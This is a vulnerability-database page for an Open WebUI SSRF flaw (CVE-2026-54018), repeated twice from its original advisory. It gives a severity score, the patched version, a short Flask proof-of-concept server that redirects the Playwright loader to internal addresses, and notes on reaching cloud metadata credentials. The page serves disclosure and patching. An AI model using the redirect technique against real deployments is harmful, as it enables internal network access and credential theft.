CVE-2026-54018

GHSA-jrfp-m64g-pcwv HIGH
Published June 17, 2026

### Summary The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL. Since Playwright automatically follows HTTP redirects (301/302) by default, an...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.5 0.9.6
141.4K Pushed 4d ago 77% patched ~3d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
7.7 / 10
EPSS
0.0%
chance of exploitation in 30 days
Higher than 9% of all CVEs
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Changed
C High
I None
A None

What should I do?

Patch available

Update Open WebUI to version 0.9.6

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-54018?

### Summary The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL. Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata). This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False ### Details Root Cause The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP. The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302). The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain. ```python for url in self.urls: try: self._safe_process_url_sync(url) page = browser.new_page() response = page.goto(url, timeout=self.playwright_timeout) #this if response is None: raise ValueError(...) text = self.evaluator.evaluate(page, browser, response) ``` ### PoC (This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.) 1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine. 2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default) 3. RAG_WEB_LOADER_ENGINE=playwright 4. Setup and run attack server 5. In Open WebUI, use the "Web Search" or "URL Loader" feature. 6. Input the attacker's URL (e.g., http://attacker-ip/). ```python # attack_server.py from flask import Flask, redirect app = Flask(__name__) @app.route('/') def attack(): # Redirect to the Open WebUI container's internal port return redirect("http://open-webui:8080/api/version", code=302) if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` <img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" /> The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version) ### Impact + Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network. ### Recommended Patch implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection. apply the following logic to both lazy_load and alazy_load methods: ```python # async context async def intercept_route(route): try: await run_in_threadpool(validate_url, route.request.url) await route.continue_() except Exception: await route.abort() await page.route("**/*", intercept_route) response = await page.goto(url, timeout=self.playwright_timeout) ```

Is CVE-2026-54018 actively exploited?

No confirmed active exploitation of CVE-2026-54018 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54018?

Update to patched version: Open WebUI 0.9.6.

What is the CVSS score for CVE-2026-54018?

CVE-2026-54018 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.03%.

What are the technical details?

Original Advisory

### Summary The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL. Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata). This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False ### Details Root Cause The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP. The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302). The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain. ```python for url in self.urls: try: self._safe_process_url_sync(url) page = browser.new_page() response = page.goto(url, timeout=self.playwright_timeout) #this if response is None: raise ValueError(...) text = self.evaluator.evaluate(page, browser, response) ``` ### PoC (This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.) 1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine. 2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default) 3. RAG_WEB_LOADER_ENGINE=playwright 4. Setup and run attack server 5. In Open WebUI, use the "Web Search" or "URL Loader" feature. 6. Input the attacker's URL (e.g., http://attacker-ip/). ```python # attack_server.py from flask import Flask, redirect app = Flask(__name__) @app.route('/') def attack(): # Redirect to the Open WebUI container's internal port return redirect("http://open-webui:8080/api/version", code=302) if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` <img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" /> The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version) ### Impact + Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network. ### Recommended Patch implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection. apply the following logic to both lazy_load and alazy_load methods: ```python # async context async def intercept_route(route): try: await run_in_threadpool(validate_url, route.request.url) await route.continue_() except Exception: await route.abort() await page.route("**/*", intercept_route) response = await page.goto(url, timeout=self.playwright_timeout) ```

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Timeline

Published
June 17, 2026
Last Modified
June 17, 2026
First Seen
June 17, 2026

Related Vulnerabilities